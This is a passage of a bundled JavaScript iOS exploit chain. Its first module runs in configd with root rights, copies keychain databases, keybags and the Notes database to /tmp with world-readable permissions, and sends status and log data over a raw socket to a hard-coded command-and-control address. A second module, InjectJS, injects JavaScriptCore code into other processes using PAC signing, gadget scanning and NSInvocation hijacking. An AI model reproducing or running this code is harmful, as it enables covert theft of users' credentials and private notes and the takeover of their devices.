len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000) len = 0x1000;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic read32(ptr) {\n\t\tlet buff = this.read(ptr, 4);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getInt32(0, true);\n\t}\n\t\n\tstatic write64(ptr, value) {\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') return value;\n\t\telse return BigInt(value);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr) return addr;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr) this.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\t\tinvoker();\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn) return Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\n// ============================================================================\n// Configuration\n// ============================================================================\n\nconst TAG = \"INFO\";\n\n// Destination directory for copied files\nconst DEST_DIR = \"/tmp\";\n\n// ============================================================================\n// Keychain and Keybag Files to Copy (iOS 18)\n// ============================================================================\n\nconst KEYCHAIN_FILES = [\n\t// Keychain database\n\t{ src: \"/private/var/Keychains/keychain-2.db\", dst: \"keychain-2.db\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-wal\", dst: \"keychain-2.db-wal\" },\n\t{ src: \"/private/var/Keychains/keychain-2.db-shm\", dst: \"keychain-2.db-shm\" },\n\t\n\t// Keybag files in /var/keybags\n\t{ src: \"/var/keybags/persona.kb\", dst: \"persona.kb\" },\n\t{ src: \"/var/keybags/usersession.kb\", dst: \"usersession.kb\" },\n\t{ src: \"/var/keybags/backup/backup_keys_cache.sqlite\", dst: \"backup_keys_cache.sqlite\" },\n\t{ src: \"/private/var/keybags/persona.kb\", dst: \"persona_private.kb\" },\n\t{ src: \"/private/var/keybags/usersession.kb\", dst: \"usersession_private.kb\" },\n\t\n\t// Keybag files in Keychains directory\n\t{ src: \"/private/var/Keychains/System.keybag\", dst: \"System.keybag\" },\n\t{ src: \"/private/var/Keychains/Backup.keybag\", dst: \"Backup.keybag\" },\n\t\n\t// Notes database\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite\", dst: \"notes.sqlite\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-wal\", dst: \"notes.sqlite-wal\" },\n\t{ src: \"/private/var/mobile/Library/Notes/notes.sqlite-shm\", dst: \"notes.sqlite-shm\" },\n\t{ src: \"/private/var/Keychains/persona.kb\", dst: \"persona_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/usersession.kb\", dst: \"usersession_keychains.kb\" },\n\t{ src: \"/private/var/Keychains/device.kb\", dst: \"device.kb\" },\n];\n\n// ============================================================================\n// Helper Functions\n// ============================================================================\n\nfunction fileExists(filePath) {\n\tconst result = Native.callSymbol(\"access\", filePath, 0);\n\treturn Number(result) === 0;\n}\n\nfunction getFileSize(filePath) {\n\ttry {\n\t\tconst statBuf = Native.callSymbol(\"malloc\", BigInt(144));\n\t\tif (!statBuf || statBuf === 0n) return -1;\n\t\t\n\t\ttry {\n\t\t\tconst statResult = Native.callSymbol(\"stat\", filePath, statBuf);\n\t\t\tif (statResult !== 0) return -1;\n\t\t\t\n\t\t\tconst statData = Native.read(statBuf, 144);\n\t\t\tconst statView = new DataView(statData);\n\t\t\treturn Number(statView.getBigUint64(0x60, true));\n\t\t} finally {\n\t\t\tNative.callSymbol(\"free\", statBuf);\n\t\t}\n\t} catch (e) {\n\t\treturn -1;\n\t}\n}\n\n/**\n * Copy a file from src to dst with specified permissions\n */\nfunction copyFile(srcPath, dstPath, mode) {\n\ttry {\n\t\t// Check if source exists\n\t\tif (!fileExists(srcPath)) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tconst fileSize = getFileSize(srcPath);\n\t\tif (fileSize < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tif (fileSize === 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t// Open source for reading\n\t\tconst srcFd = Native.callSymbol(\"open\", srcPath, 0); // O_RDONLY\n\t\tif (Number(srcFd) < 0) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\ttry {\n\t\t\t// Create/open destination for writing\n\t\t\t// O_WRONLY | O_CREAT | O_TRUNC = 0x601\n\t\t\tconst dstFd = Native.callSymbol(\"open\", dstPath, 0x601, mode);\n\t\t\tif (Number(dstFd) < 0) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t\n\t\t\ttry {\n\t\t\t\t// Copy in chunks\n\t\t\t\tconst chunkSize = 64 * 1024;\n\t\t\t\tlet totalCopied = 0;\n\t\t\t\t\n\t\t\t\twhile (totalCopied < fileSize) {\n\t\t\t\t\tconst remaining = fileSize - totalCopied;\n\t\t\t\t\tconst toRead = remaining > chunkSize ? chunkSize : remaining;\n\t\t\t\t\t\n\t\t\t\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\t\t\t\tif (!buf || buf === 0n) break;\n\t\t\t\t\t\n\t\t\t\t\ttry {\n\t\t\t\t\t\tconst bytesRead = Native.callSymbol(\"read\", srcFd, buf, toRead);\n\t\t\t\t\t\tif (Number(bytesRead) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\tconst bytesWritten = Native.callSymbol(\"write\", dstFd, buf, Number(bytesRead));\n\t\t\t\t\t\tif (Number(bytesWritten) <= 0) break;\n\t\t\t\t\t\t\n\t\t\t\t\t\ttotalCopied += Number(bytesWritten);\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tNative.callSymbol(\"free\", buf);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// Set permissions to 777 (0777 = 511 decimal)\n\t\t\t\tNative.callSymbol(\"chmod\", dstPath, mode);\n\t\t\t\t\n\t\t\t\treturn totalCopied > 0;\n\t\t\t\t\n\t\t\t} finally {\n\t\t\t\tNative.callSymbol(\"close\", dstFd);\n\t\t\t}\n\t\t} finally {\n\t\t\tNative.callSymbol(\"close\", srcFd);\n\t\t}\n\t\t\n\t} catch (e) {\n\t\treturn false;\n\t}\n}\n\n// ============================================================================\n// Main Execution\n// ============================================================================\n\nNative.init();\n\n\nvar __kcCopyDbOk = false;\nvar __kcCopyDbSz = -1;\nvar __kcCopySrcOk = false;\nvar __kcCopySrcSz = -1;\nvar __kcCopyOkN = 0;\nvar __kcCopyFailN = 0;\nvar __kcCopyExc = false;\n\ntry {\n\tfor (const file of KEYCHAIN_FILES) {\n\t\tconst srcPath = file.src;\n\t\tconst dstPath = DEST_DIR + \"/\" + file.dst;\n\n\t\t// Copy with 777 permissions (0777 = 511)\n\t\tif (copyFile(srcPath, dstPath, 511)) {\n\t\t\t__kcCopyOkN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopyDbOk = true;\n\t\t\t\t__kcCopyDbSz = getFileSize(dstPath);\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t\ttry { Native.callSymbol(\"chmod\", dstPath, 511); } catch (_c) {}\n\t\t\t}\n\t\t} else {\n\t\t\t__kcCopyFailN++;\n\t\t\tif (file.dst === \"keychain-2.db\") {\n\t\t\t\t__kcCopySrcOk = fileExists(srcPath);\n\t\t\t\t__kcCopySrcSz = getFileSize(srcPath);\n\t\t\t}\n\t\t}\n\t}\n} catch (e) {\n\t__kcCopyExc = true;\n}\n\n// ===== DEBUG uplink: ship /tmp/p7_debug.log tail to C2 via raw socket =====\n// Runs in configd (root) — can read /tmp even though mediaplaybackd cannot.\nfunction _dbgSockSend(tag) {\n\ttry {\n\t\tvar sfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\t\tif (sfd < 0) return;\n\t\tvar one = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(one, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", sfd, 0xffff, 0x1022, one, 4);\n\t\tNative.callSymbol(\"free\", one);\n\t\tvar abuf = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar a8 = new Uint8Array(16);\n\t\ta8[0] = 16; a8[1] = 2; a8[2] = 0x1B; a8[3] = 0x6E; // port 7022 BE\n\t\ta8[4] = 192; a8[5] = 168; a8[6] = 4; a8[7] = 10;\n\t\tNative.write(abuf, a8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", sfd, abuf, 16)) === 0) {\n\t\t\tvar safe = String(tag || \"\").replace(/=/g, \"-\").replace(/[^A-Za-z0-9._~\\-]/g, \"_\");\n\t\t\tvar req = \"GET /log.html?text=\" + safe + \" HTTP/1.0\\r\\nHost: 192.168.4.10\\r\\n\\r\\n\";\n\t\t\tvar rbuf = Native.callSymbol(\"malloc\", req.length + 1);\n\t\t\tNative.writeString(rbuf, req);\n\t\t\tNative.callSymbol(\"write\", sfd, rbuf, req.length);\n\t\t\tNative.callSymbol(\"free\", rbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", sfd);\n\t\tNative.callSymbol(\"free\", abuf);\n\t} catch(e) {}\n}\n\n// Notify MPD: ready=1 + path when keychain-2.db copy succeeded.\n// MPD must wait for this signal (not size>1MB), then sqlite3_open + securityd unwrap.\ntry {\n\t_dbgSockSend(\n\t\t\"kc_copy_db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\"_sz=\" + __kcCopyDbSz +\n\t\t\"_src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\"_ssz=\" + __kcCopySrcSz +\n\t\t\"_ok=\" + __kcCopyOkN +\n\t\t\"_fail=\" + __kcCopyFailN +\n\t\t(__kcCopyExc ? \"_EXC\" : \"\")\n\t);\n} catch (_b) {}\ntry {\n\tvar __kcPath = DEST_DIR + \"/keychain-2.db\";\n\tvar st = \"ready=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" db_ok=\" + (__kcCopyDbOk ? \"1\" : \"0\") +\n\t\t\" path=\" + __kcPath +\n\t\t\" sz=\" + __kcCopyDbSz +\n\t\t\" src=\" + (__kcCopySrcOk ? \"1\" : \"0\") +\n\t\t\" ssz=\" + __kcCopySrcSz +\n\t\t\" ok=\" + __kcCopyOkN +\n\t\t\" fail=\" + __kcCopyFailN + \"\\n\";\n\tvar sfd2 = Number(Native.callSymbol(\"open\", \"/tmp/keychain_copier_status.txt\", 0x601, 511));\n\tif (sfd2 >= 0) {\n\t\tvar sbuf = Native.callSymbol(\"malloc\", BigInt(st.length + 1));\n\t\tNative.writeString(sbuf, st);\n\t\tNative.callSymbol(\"write\", sfd2, sbuf, st.length);\n\t\tNative.callSymbol(\"close\", sfd2);\n\t\tNative.callSymbol(\"free\", sbuf);\n\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_copier_status.txt\", 511);\n\t}\n\tif (__kcCopyDbOk) {\n\t\tvar gfd = Number(Native.callSymbol(\"open\", \"/tmp/keychain_mpd_go\", 0x601, 511));\n\t\tif (gfd >= 0) {\n\t\t\tvar gbuf = Native.callSymbol(\"malloc\", BigInt(__kcPath.length + 2));\n\t\t\tNative.writeString(gbuf, __kcPath + \"\\n\");\n\t\t\tNative.callSymbol(\"write\", gfd, gbuf, __kcPath.length + 1);\n\t\t\tNative.callSymbol(\"close\", gfd);\n\t\t\tNative.callSymbol(\"free\", gbuf);\n\t\t\tNative.callSymbol(\"chmod\", \"/tmp/keychain_mpd_go\", 511);\n\t\t}\n\t\t_dbgSockSend(\"kc_copy_READY_notify_mpd_path_\" + __kcPath.replace(/\\//g, \"_\"));\n\t}\n} catch (_s) {}\n\ntry {\n\tvar p7fd = Number(Native.callSymbol(\"open\", \"/tmp/p7_debug.log\", 0));\n\tif (p7fd < 0) {\n\t\t_dbgSockSend(\"kc_alive_p7log_MISSING\");\n\t} else {\n\t\tvar fend = Number(Native.callSymbol(\"lseek\", p7fd, 0, 2)); // SEEK_END\n\t\tvar fstart = fend > 1400 ? fend - 1400 : 0;\n\t\tNative.callSymbol(\"lseek\", p7fd, fstart, 0);\n\t\tvar rbuf2 = Native.callSymbol(\"malloc\", 1500);\n\t\tvar rn = Number(Native.callSymbol(\"read\", p7fd, rbuf2, 1400));\n\t\tNative.callSymbol(\"close\", p7fd);\n\t\tif (rn <= 0) {\n\t\t\t_dbgSockSend(\"kc_alive_p7log_EMPTY\");\n\t\t} else {\n\t\t\tvar d8 = new Uint8Array(Native.read(rbuf2, rn));\n\t\t\tvar hx = \"\";\n\t\t\tfor (var hi = 0; hi < d8.length; hi++) hx += (d8[hi] < 16 ? \"0\" : \"\") + d8[hi].toString(16);\n\t\t\tNative.callSymbol(\"free\", rbuf2);\n\t\t\t_dbgSockSend(\"kc_p7tail_\" + hx);\n\t\t}\n\t}\n} catch(e) {\n\ttry { _dbgSockSend(\"kc_p7tail_ERR\"); } catch(e2) {}\n}\n// ===== END DEBUG uplink =====\n\n\n"); + +/***/ }), + +/***/ "./src/InjectJS.js": +/*!*************************!*\ + !*** ./src/InjectJS.js ***! + \*************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ InjectJS) +/* harmony export */ }); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/TaskRop/RemoteCall */ "./src/libs/TaskRop/RemoteCall.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); + + +const TAG = "INJECTJS"; + +const RTLD_LAZY = 0x1; +const RTLD_DEFAULT = 0xfffffffffffffffen; + +class InjectJS { + + task; + #target; + #injectCode; + #migFilterBypass; + #invokingAddr; + #JSContextClass; + #NSMethodSignatureClass; + #NSInvocationClass; + #invokeUsingIMPSel; + #pendingJsContext; + #pendingScriptStr; + + constructor(target, injectCode, migFilterBypass=null) { + this.#target = target; + this.#injectCode = injectCode; + this.#migFilterBypass = migFilterBypass; + this.#invokingAddr = this.#findInvoking(); + + this.#JSContextClass = Native.callSymbol("objc_getClass", "JSContext"); + this.#NSMethodSignatureClass = Native.callSymbol("objc_getClass", "NSMethodSignature"); + this.#NSInvocationClass = Native.callSymbol("objc_getClass", "NSInvocation"); + this.#invokeUsingIMPSel = Native.callSymbol("sel_registerName", "invokeUsingIMP:"); + + if (!this.#invokingAddr) + console.log(TAG, "Invoking not found!"); + } + + inject(agentPid=0, opts) { + if (!this.#invokingAddr) + return false; + + if (typeof(this.#target) == "string") { + console.log(TAG, `Start injecting JS script into ${this.#target}`); + + this.task = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_1__["default"](this.#target, this.#migFilterBypass); + if (!this.task.success()) { + console.log(TAG, "Unable to inject into: " + this.#target); + return false; + } + } + else { + console.log(TAG, `Start injecting JS script into existing task: ${this.#target.pid()}`); + + // Assume target is a RemoteCall object + this.task = this.#target; + if (!this.task.success()) { + console.log(TAG, "Unable to inject into existing task"); + return false; + } + } + + // Prepare remote JSC + script. By default evaluate immediately (legacy). + // Pass { deferStart: true } then applyTokens + startScript() so tokens land first. + if (!this.#startWithTask(agentPid)) + return false; + const defer = opts && opts.deferStart === true; + if (!defer) + this.startScript(); + return true; + } + + /** Begin deferred evaluateScript: (after Sandbox.applyTokensForRemoteTask). */ + startScript() { + if (!this.#pendingJsContext || !this.#pendingScriptStr) + return false; + console.log(TAG, "Starting JS script for target: " + this.#target); + this.#callObjcInBackground(this.#pendingJsContext, "evaluateScript:", this.#pendingScriptStr); + this.#pendingJsContext = null; + this.#pendingScriptStr = null; + console.log(TAG, "All done!"); + return true; + } + + destroy() { + this.#pendingJsContext = null; + this.#pendingScriptStr = null; + if (this.task && this.task.success()) + this.task.destroy(); + this.task = null; + } + + #startWithTask(agentPid) { + // RemoteCall failure paths historically returned Number 0; pointer math with 0xNNn + // then throws "Invalid mix of BigInt and other type in addition". Always coerce. + const mem = BigInt(this.task.mem() || 0); + if (!mem) { + console.log(TAG, "Remote mem unavailable"); + return false; + } + + // Sign __invoking__ function address + this.#invokingAddr = BigInt(this.task.pac(this.#invokingAddr, 0) || 0); + if (!this.#invokingAddr) { + console.log(TAG, "PAC of invoking failed"); + return false; + } + //console.log(TAG, "Signed invoking: " + Utils.hex(this.#invokingAddr)); + + this.task.writeStr(mem, "/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore"); + // configd cold-loads JSC; default remote wait (10s) is too tight on slower devices + const lib = BigInt(this.task.call(1000, "dlopen", mem, RTLD_LAZY) || 0); + //console.log(TAG, "lib: " + Utils.hex(lib)); + + // Create a JSC context and get pointer to exceptionHandler NSBlock + const jscontext = BigInt(this.#callObjcRetain(this.#JSContextClass, "new") || 0); + if (!jscontext) { + console.log(TAG, "JSContext new failed (lib=" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(lib) + ")"); + return false; + } + //console.log(TAG, "Remote JSC: " + Utils.hex(jscontext)); + + const exceptionHandler = this.task.read64(jscontext + 0x28n); + //console.log(TAG, "Exception handler: " + Utils.hex(exceptionHandler)); + + // Register an "invoker()" JS function within our JSC context, having exceptionHandler block as native implementation. + // We replace exceptionHandler NSInvocation later in this code. + const invokerStr = this.#writeCFStr(mem, "invoker"); + this.#callObjc(jscontext, "setObject:forKeyedSubscript:", exceptionHandler, invokerStr); + //console.log(TAG, "invokerStr: " + Utils.hex(invokerStr)); + + // Retrieve JSValue of invoker inside JSC context dict + const invoker = BigInt(this.#callObjc(jscontext, "objectForKeyedSubscript:", invokerStr) || 0); + if (!invoker) { + console.log(TAG, "invoker lookup failed"); + return false; + } + //console.log(TAG, "invoker: " + Utils.hex(invoker)); + + // Get pointer of NSInvocation inside NSBlock + const fjval = BigInt(this.task.read64(invoker + 0x8n) || 0); + const storval = BigInt(this.task.read64(fjval + 0x40n) || 0); + const invokerObj = BigInt(this.task.read64(storval + 0x10n) || 0); + if (!fjval || !storval) { + console.log(TAG, "invoker NSBlock walk failed"); + return false; + } + //console.log(TAG, "invokerObj: " + Utils.hex(invokerObj)); + + this.task.writeStr(mem, "QQQQQQQQQQQQQQQ"); + const lsignature = this.#callObjc(this.#NSMethodSignatureClass, "signatureWithObjCTypes:", mem); + + this.task.writeStr(mem, "@QQQQQQQQQQQQQQ"); + const osignature = this.#callObjc(this.#NSMethodSignatureClass, "signatureWithObjCTypes:", mem); + + // This is an utility NSInvocation object we share with JS to allow objc call with retained return object + const oinv = BigInt(this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", osignature) || 0); + + // This is the final NSInvocation object we use to call the actual target function + const inv = BigInt(this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", lsignature) || 0); + //console.log(TAG, "inv: " + Utils.hex(inv)); + + // Create a new NSInvocation and replace the NSBlock one with this + const jsinv = BigInt(this.#callObjcRetain(this.#NSInvocationClass, "invocationWithMethodSignature:", lsignature) || 0); + //console.log(TAG, "jsinv: " + Utils.hex(jsinv)); + if (!oinv || !inv || !jsinv) { + console.log(TAG, "NSInvocation setup failed"); + return false; + } + + const callBuff = BigInt(this.task.call(100, "calloc", 1, 0x4000) || 0); + if (!callBuff) { + console.log(TAG, "calloc callBuff failed"); + return false; + } + const firstInvokingBuff = callBuff + 0x50n; // callBuff[10] + const argsBuff = callBuff + 0x320n; // callBuff[100] + const resultBuff = callBuff + 0x640n; // callBuff[200] + + //console.log(TAG, "callBuff: " + Utils.hex(callBuff)); + //console.log(TAG, "firstInvokingBuff: " + Utils.hex(firstInvokingBuff)); + //console.log(TAG, "argsBuff: " + Utils.hex(argsBuff)); + //console.log(TAG, "resultBuff: " + Utils.hex(resultBuff)); + + // Share callBuff with JS + this.task.writeStr(mem, "nativeCallBuff"); + const jsctx = BigInt(this.#callObjc(jscontext, "JSGlobalContextRef") || 0); + if (!jsctx) { + console.log(TAG, "JSGlobalContextRef failed"); + return false; + } + const nativeCallBuff = this.task.call(100, "JSObjectMakeArrayBufferWithBytesNoCopy", jsctx, callBuff, 0x4000); + const globalObject = this.task.call(100, "JSContextGetGlobalObject", jsctx); + const jsName = this.task.call(100, "JSStringCreateWithUTF8CString", mem); + this.task.call(100, "JSObjectSetProperty", jsctx, globalObject, jsName, nativeCallBuff); + + let localCallBuff = new BigUint64Array(33); + + // Second (final) __invoking__ arguments + localCallBuff[0] = 0x41414141n; // this should be overwritten at every function call + localCallBuff[1] = resultBuff; // Result buffer + localCallBuff[2] = argsBuff; // Arguments buffer + localCallBuff[3] = 0x120n; // args buff size. Do not touch! + + // First __invoking__ arguments + localCallBuff[10] = this.#invokingAddr; + localCallBuff[11] = resultBuff; + localCallBuff[12] = callBuff; + localCallBuff[13] = 0xe0n; + + // Some offsets we export to JS + localCallBuff[20] = callBuff; + localCallBuff[21] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "dlsym"), 0 ); + localCallBuff[22] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "memcpy"), 0 ); + localCallBuff[23] = this.task.pac( Native.callSymbol("dlsym", RTLD_DEFAULT, "malloc"), 0 ); + localCallBuff[24] = oinv; + localCallBuff[25] = jsctx; + localCallBuff[26] = true ? 1n : 0; // we pass true if DEBUG is set + localCallBuff[27] = 1n; + localCallBuff[28] = 0n; + localCallBuff[29] = 0n; + localCallBuff[30] = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].getKernelBase(); + let desiredPacGadget = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].getPaciaGadget(); + // retreiving correct modifier for 18.4 and above + if (globalThis.xnuVersion.major == 24 && globalThis.xnuVersion.minor >= 4) { + desiredPacGadget = Native.pacia(Native.strip(desiredPacGadget),0n); + } + localCallBuff[31] = desiredPacGadget; + localCallBuff[32] = BigInt(agentPid); + + //console.log(TAG, "dlsym: " + Utils.hex(localCallBuff[21])); + //console.log(TAG, "memcpy: " + Utils.hex(localCallBuff[22])); + //console.log(TAG, "malloc: " + Utils.hex(localCallBuff[23])); + + const nativeLocalBuff = Native.callSymbol("malloc", localCallBuff.byteLength); + Native.write(nativeLocalBuff, localCallBuff.buffer); + this.task.write(callBuff, nativeLocalBuff, localCallBuff.byteLength); + Native.callSymbol("free", nativeLocalBuff); + + this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff, 0); + this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x8n, 1); + this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x10n, 2); + this.#callObjc(inv, "setArgument:atIndex:", firstInvokingBuff + 0x18n, 3); + + // This NSInvocation should in turn call the final NSInvocation we created before, + // but with fully controlled arguments + this.task.write64(mem, this.#invokingAddr); + this.#callObjc(jsinv, "setTarget:", inv); + this.#callObjc(jsinv, "setSelector:", this.#invokeUsingIMPSel); + this.#callObjc(jsinv, "setArgument:atIndex:", mem, 2); + + // Replace NSInvocation + this.task.write64(storval + 0x10n, jsinv); + this.task.write64(storval + 0x18n, 0n); + //console.log(TAG, "NSInvocation replaced"); + + // Write loader.js in remote task + //const loaderJS = "let buff = new BigUint64Array(this.nativeCallBuff); buff[0] = 0x41414141n; buff[100] = 0x11111111n; invoker();"; + console.log(TAG, "JS script length: " + this.#injectCode.length); + const scriptMem = BigInt(this.task.call(100, "calloc", 1, this.#injectCode.length + 1) || 0); + if (!scriptMem) { + console.log(TAG, "calloc scriptMem failed"); + return false; + } + const scriptStr = this.#writeCFStr(scriptMem, this.#injectCode); + this.task.call(100, "free", scriptMem); + //console.log(TAG, "scriptStr: " + Utils.hex(scriptStr)); + + // Check if we write ok + // console.log(TAG,"Check if we write ok" ) + // const a = Native.callSymbol("malloc", this.#injectCode.length + 1); + // const len = this.#callObjc(scriptStr, "length"); + // console.log(TAG, len); + // const b = this.#callObjc(scriptStr, "UTF8String"); + // this.task.read(b, a, this.#injectCode.length + 1); + // const c = Native.readString(a, this.#injectCode.length); + // console.log(TAG, c); + + + //const loaderStr = this.#writeCFStr(mem, "loader"); + //this.#callObjc(jscontext, "setObject:forKeyedSubscript:", scriptStr, loaderStr); + //console.log(TAG, "loaderStr: " + Utils.hex(loaderStr)); + + // Defer evaluateScript until startScript() so tokens can be applied first. + this.#pendingJsContext = jscontext; + this.#pendingScriptStr = scriptStr; + console.log(TAG, "JS script prepared (deferred) for target: " + this.#target); + + return true; + } + + #findInvoking() { + //console.log(TAG, "Find 'invoking()'..."); + + let startAddr = BigInt(Native.dlsym("_CF_forwarding_prep_0") || 0); + startAddr = startAddr & 0x7fffffffffn; //Chain.strip(startAddr); + //console.log(TAG, "startAddr: " + Utils.hex(startAddr)); + + if (!startAddr) + return 0n; + + if (xnuVersion.major == 24 && xnuVersion.minor >= 5) + startAddr -= 0x2500n; + else + startAddr -= 0x4000n; + + const pattern = new Uint8Array([0x67, 0x1D, 0x40, 0xF9, 0x66, 0x19, 0x40, 0xF9, 0x65, 0x15, 0x40, 0xF9, 0x64, 0x11, 0x40, 0xF9]); + Native.write(Native.mem, pattern.buffer); + let foundAddr = BigInt(Native.callSymbol("memmem", startAddr, 0x4000, Native.mem, 16) || 0); + //console.log(TAG, "foundAddr: " + Utils.hex(foundAddr)); + + if (!foundAddr) { + // special case for iOS 17.4-17.4.1 + //console.log(TAG,`Didnt found invoking,trying to find it for special version`); + startAddr = BigInt(Native.dlsym("CFCharacterSetIsCharacterMember") || 0); + startAddr = startAddr & 0x7fffffffffn; + foundAddr = BigInt(Native.callSymbol("memmem", startAddr, 0x4000, Native.mem, 16) || 0); + //console.log(TAG,`foundAddr:${Utils.hex(foundAddr)}`); + if (!foundAddr) + return 0n; + } + + const buff = Native.read(foundAddr - BigInt(Native.memSize), Native.memSize); + const buff32 = new Uint32Array(buff); + + for (let i=buff32.length-1; i>=0; i--) { + foundAddr -= 0x4n; + if (buff32[i] == 0xd503237f) { + const found = foundAddr; + console.log(TAG, "Invoking found: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__["default"].hex(found)); + return found; + } + } + + return 0n; + } + + #callObjc(obj, selName, ...args) { + const sel = Native.callSymbol("sel_registerName", selName); + // 30s: covers slow 